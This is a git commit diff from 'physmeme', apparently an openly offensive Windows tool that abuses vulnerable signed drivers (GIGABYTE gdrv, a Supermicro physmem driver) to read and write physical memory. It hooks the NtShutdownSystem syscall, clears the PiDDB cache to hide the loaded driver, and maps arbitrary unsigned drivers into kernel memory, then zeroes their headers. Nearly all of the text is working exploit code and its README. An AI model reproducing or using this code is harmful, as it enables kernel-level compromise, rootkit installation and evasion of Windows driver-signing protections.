cleaned the code a little

merge-requests/1/head gigabyte
xerox 4 years ago
parent aec811a19d
commit cef765b7af

@ -1,6 +0,0 @@
<img src="https://imgur.com/5nVod4I.png"/>
### gdrv
This driver has been exploited before by many people. This is just an example of using it with physmeme. If you want to use this driver with physmeme, simply replace `physmeme.hpp`
with this one. :)

Binary file not shown.

Binary file not shown.

@ -1,92 +0,0 @@
#pragma once
#include <windows.h>
#include <mutex>
#include <cstdint>
#include <map>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t physical_address;
unsigned long io_space;
unsigned long size;
} GIOMAP;
#pragma pack ( pop )
namespace physmeme
{
inline std::string drv_key;
//
// please code this function depending on your method of physical read/write.
//
inline HANDLE load_drv()
{
const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver));
drv_key = key;
return CreateFile(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unload_drv()
{
return driver::unload(drv_key);
}
inline HANDLE drv_handle = load_drv();
//
// please code this function depending on your method of physical read/write.
//
inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
{
//--- ensure the validity of the address we are going to try and map
if (!util::is_valid(addr))
return NULL;
GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
{
uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = {sizeof(out_buffer)};
unsigned long returned = NULL;
DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
}

@ -1,15 +0,0 @@
# Warning
This demo works on Windows 10-1909 and below, after 1909 physmeme.sys isnt supported view: [PFN_LIST_CORRUPT](https://githacks.org/xerox/physmeme/issues/2).
# Demo
simply open a console as admin, run "physmeme.exe hello-world.sys" and you should see a DbgPrint inside of dbgview.
- pmdll64.dll is part of a supermicro bios flashing utility
- physmem64.sys is part of a supermicro bios flashing utility
- hello-world.sys just prints the base address and size of the driver :)
Code for hello-world.sys: [https://githacks.org/xerox/physmeme/issues/1#note_37](https://githacks.org/xerox/physmeme/issues/1#note_37)

Binary file not shown.

Binary file not shown.

Binary file not shown.

@ -1,69 +0,0 @@
#pragma once
#include <windows.h>
#include <mutex>
#include <cstdint>
#include <map>
namespace physmeme
{
/*
please code this function depending on your method of physical read/write.
*/
inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
{
//--- ensure the validity of the address we are going to try and map
if (!is_valid(addr))
return NULL;
static const auto map_phys_ptr =
reinterpret_cast<__int64(__fastcall*)(__int64, unsigned)>(
GetProcAddress(LoadLibrary("pmdll64.dll"), "MapPhyMem"));
return map_phys_ptr ? map_phys_ptr(addr, size) : false;
}
/*
please code this function depending on your method of physical read/write.
*/
inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
{
static const auto unmap_phys_ptr =
reinterpret_cast<__int64(*)(__int64, unsigned)>(
GetProcAddress(LoadLibrary("pmdll64.dll"), "UnmapPhyMem"));
return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false;
}
/*
please code this function depending on your method of physical read/write.
*/
inline HANDLE load_drv()
{
static const auto load_driver_ptr =
reinterpret_cast<__int64(*)()>(
GetProcAddress(LoadLibrary("pmdll64.dll"), "LoadPhyMemDriver"));
if (load_driver_ptr)
load_driver_ptr();
//--- i dont ever use this handle, its just an example of what you should do.
return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64);
}
/*
please code this function depending on your method of physical read/write.
*/
inline bool unload_drv()
{
static const auto unload_driver_ptr =
reinterpret_cast<__int64(*)()>(
GetProcAddress(LoadLibrary("pmdll64.dll"), "UnloadPhyMemDriver"));
return unload_driver_ptr ? unload_driver_ptr() : false;
}
inline HANDLE drv_handle = load_drv();
}

Binary file not shown.

@ -1,13 +1,9 @@
#include <windows.h>
#include <iostream>
#include <fstream>
#include "kernel_ctx/kernel_ctx.h" #include "kernel_ctx/kernel_ctx.h"
#include "drv_image/drv_image.h" #include "drv_image/drv_image.h"
namespace physmeme namespace physmeme
{ {
bool __cdecl map_driver(std::vector<std::uint8_t>& raw_driver) NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver)
{ {
physmeme::drv_image image(raw_driver); physmeme::drv_image image(raw_driver);
@ -15,22 +11,16 @@ namespace physmeme
// load exploitable driver // load exploitable driver
// //
if (!physmeme::load_drv()) if (!physmeme::load_drv())
return false; return STATUS_ABANDONED;
physmeme::kernel_ctx ctx; physmeme::kernel_ctx ctx;
// //
// unload exploitable driver // shoot the tires off piddb cache.
//
if (!physmeme::unload_drv())
return false;
//
// shoot the tires off the cache.
// //
const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp; const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp;
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
return false; return STATUS_ABANDONED;
// //
// lambdas used for fixing driver image // lambdas used for fixing driver image
@ -60,9 +50,6 @@ namespace physmeme
NonPagedPool NonPagedPool
); );
if (!pool_base)
return -1;
image.relocate(pool_base); image.relocate(pool_base);
// //
@ -88,12 +75,17 @@ namespace physmeme
// zero driver headers // zero driver headers
// //
ctx.zero_kernel_memory(pool_base, image.header_size()); ctx.zero_kernel_memory(pool_base, image.header_size());
return !result; // 0x0 means STATUS_SUCCESS
physmeme::unmap_all();
if (!physmeme::unload_drv())
return STATUS_ABANDONED;
return result;
} }
bool __cdecl map_driver(std::uint8_t * image, std::size_t size) NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size)
{ {
auto data = std::vector<std::uint8_t>(image, image + size); std::vector<std::uint8_t> data(image, image + size);
return map_driver(data); return map_driver(data);
} }
} }

@ -1,8 +1,9 @@
#pragma once #pragma once
#include <vector> #include <vector>
#include <Windows.h>
namespace physmeme namespace physmeme
{ {
bool __cdecl map_driver(std::vector<std::uint8_t>& raw_driver); NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver);
bool __cdecl map_driver(std::uint8_t * image, std::size_t size); NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size);
} }

@ -1,7 +1,8 @@
#pragma once #pragma once
#include <cstdint> #include <cstdint>
inline constexpr std::uint8_t raw_driver[] = { inline constexpr std::uint8_t raw_driver[] =
{
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

@ -10,22 +10,17 @@ namespace physmeme
nt_rva = reinterpret_cast<std::uint32_t>( nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kernel_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
syscall_hook.first.data(), syscall_hook.first,
true true
)); ));
nt_page_offset = nt_rva % page_size; nt_page_offset = nt_rva % page_size;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>( ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) LoadLibraryEx("ntoskrnl.exe", NULL,
); DONT_RESOLVE_DLL_REFERENCES));
printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset);
printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer);
printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva);
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it //--- for each physical memory range, make a thread to search it
std::vector<std::thread> search_threads;
for (auto ranges : util::pmem_ranges) for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread( search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall, &kernel_ctx::map_syscall,
@ -36,14 +31,10 @@ namespace physmeme
for (std::thread& search_thread : search_threads) for (std::thread& search_thread : search_threads)
search_thread.join(); search_thread.join();
printf("[+] psyscall_func: 0x%p\n", psyscall_func.load());
} }
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{ {
printf("[+] scanning from begin: 0x%p to: 0x%p\n", begin, begin + end);
//if the physical memory range is less then or equal to 2mb //if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512) if (begin + end <= 0x1000 * 512)
{ {

@ -13,35 +13,19 @@
namespace physmeme namespace physmeme
{ {
// //
// offset of function into a physical page // you can edit this how you choose, im hooking NtShutdownSystem.
// used for comparing bytes when searching
//
inline std::uint16_t nt_page_offset{};
//
// rva of nt function we are going to hook
//
inline std::uint32_t nt_rva{};
//
// base address of ntoskrnl (inside of this process)
// //
inline const std::uint8_t* ntoskrnl_buffer{}; constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
// //
// has the page been found yet? // has the page (containing the syscall) been found yet?
// //
inline std::atomic<bool> is_page_found = false; inline std::atomic<bool> is_page_found = false;
// //
// mapping of a syscalls physical memory (for installing hooks) // mapping of a syscalls physical memory (for installing hooks)
// //
inline std::atomic<void*> psyscall_func{}; inline std::atomic<void*> psyscall_func;
//
// you can edit this how you choose, im hooking NtShutdownSystem.
//
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
class kernel_ctx class kernel_ctx
{ {
@ -105,7 +89,7 @@ namespace physmeme
static const auto proc = static const auto proc =
GetProcAddress( GetProcAddress(
GetModuleHandleA("ntdll.dll"), GetModuleHandleA("ntdll.dll"),
syscall_hook.first.data() syscall_hook.first
); );
hook::make_hook(psyscall_func, addr); hook::make_hook(psyscall_func, addr);
@ -114,6 +98,22 @@ namespace physmeme
return result; return result;
} }
private: private:
//
// offset of function into a physical page
// used for comparing bytes when searching
//
std::uint16_t nt_page_offset;
//
// rva of nt function we are going to hook
//
std::uint32_t nt_rva;
//
// base address of ntoskrnl (inside of this process)
//
std::uint8_t* ntoskrnl_buffer;
// //
// find and map the physical page of a syscall into this process // find and map the physical page of a syscall into this process
// //

@ -20,18 +20,14 @@ int __cdecl main(int argc, char** argv)
} }
physmeme::drv_image image(drv_buffer); physmeme::drv_image image(drv_buffer);
physmeme::load_drv();
physmeme::kernel_ctx ctx;
// if (!physmeme::load_drv())
// unload exploitable driver
//
if (!physmeme::unload_drv())
{ {
perror("[!] unable to unload driver... all handles closed?\n"); perror("[!] unable to load driver....\n");
return -1; return -1;
} }
printf("[+] unloaded exploitable driver....\n");
physmeme::kernel_ctx ctx;
// //
// shoot the tires off piddb cache entry. // shoot the tires off piddb cache entry.
@ -108,6 +104,18 @@ int __cdecl main(int argc, char** argv)
// zero driver headers // zero driver headers
// //
ctx.zero_kernel_memory(pool_base, image.header_size()); ctx.zero_kernel_memory(pool_base, image.header_size());
//
// unload exploitable driver
//
physmeme::unmap_all(); // just in case there are any left over physical pages mapped...
if (!physmeme::unload_drv())
{
perror("[!] unable to unload driver... all handles closed?\n");
return -1;
}
printf("[+] unloaded exploitable driver....\n");
printf("[=] press enter to close\n"); printf("[=] press enter to close\n");
std::cin.get(); std::cin.get();
} }

@ -71,7 +71,7 @@ namespace physmeme
) )
{ {
//--- ensure the validity of the address we are going to try and map //--- ensure the validity of the address we are going to try and map
if (!util::is_valid(addr)) if (!util::is_phys_addr_valid(addr))
return NULL; return NULL;
GIOMAP in_buffer = { 0, 0, addr, 0, size }; GIOMAP in_buffer = { 0, 0, addr, 0, size };

@ -1,7 +1,8 @@
#pragma once #pragma once
#include <cstdint> #include <cstdint>
inline constexpr std::uint8_t raw_driver[] = { inline constexpr std::uint8_t raw_driver[] =
{
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

@ -124,19 +124,9 @@ namespace hook
std::uint8_t org_bytes[sizeof(jmp_code)]; std::uint8_t org_bytes[sizeof(jmp_code)];
}; };
static std::map<void*, std::unique_ptr<detour>> hooks{}; inline std::map<void*, std::unique_ptr<detour>> hooks{};
inline void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true)
/*
Author: xerox
Date: 12/19/2019
Create Hook without needing to deal with objects
*/
static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true)
{ {
if (!addr_to_hook)
return;
hooks.insert({ hooks.insert({
addr_to_hook, addr_to_hook,
std::make_unique<detour>( std::make_unique<detour>(
@ -147,43 +137,18 @@ namespace hook
); );
} }
/* inline void enable(void* addr)
Author: xerox
Date: 12/19/2019
Enable hook given the address to hook
*/
static void enable(void* addr)
{ {
if (!addr)
return;
hooks.at(addr)->install(); hooks.at(addr)->install();
} }
/* inline void disable(void* addr)
Author: xerox
Date: 12/19/2019
Disable hook givent the address of the hook
*/
static void disable(void* addr)
{ {
if (!addr)
return;
hooks.at(addr)->uninstall(); hooks.at(addr)->uninstall();
} }
inline void remove(void* addr)
/*
Author: xerox
Date: 12/19/2019
Remove hook completely from vector
*/
static void remove(void* addr)
{ {
if (!addr)
return;
hooks.at(addr)->~detour(); hooks.at(addr)->~detour();
hooks.erase(addr); hooks.erase(addr);
} }

@ -21,7 +21,7 @@ namespace util
static std::map<std::uintptr_t, std::size_t> pmem_ranges{}; static std::map<std::uintptr_t, std::size_t> pmem_ranges{};
//--- validates the address //--- validates the address
static bool is_valid(std::uintptr_t addr) inline bool is_phys_addr_valid(std::uintptr_t addr)
{ {
for (auto range : pmem_ranges) for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second) if (addr >= range.first && addr <= range.first + range.second)
@ -82,8 +82,6 @@ namespace util
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>()); data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
} }
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
static std::uintptr_t get_module_base(const char* module_name) static std::uintptr_t get_module_base(const char* module_name)
{ {
@ -121,8 +119,6 @@ namespace util
return NULL; return NULL;
} }
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
static void* get_kernel_export(const char* module_name, const char* export_name, bool rva = false) static void* get_kernel_export(const char* module_name, const char* export_name, bool rva = false)
{ {

Loading…
Cancel
Save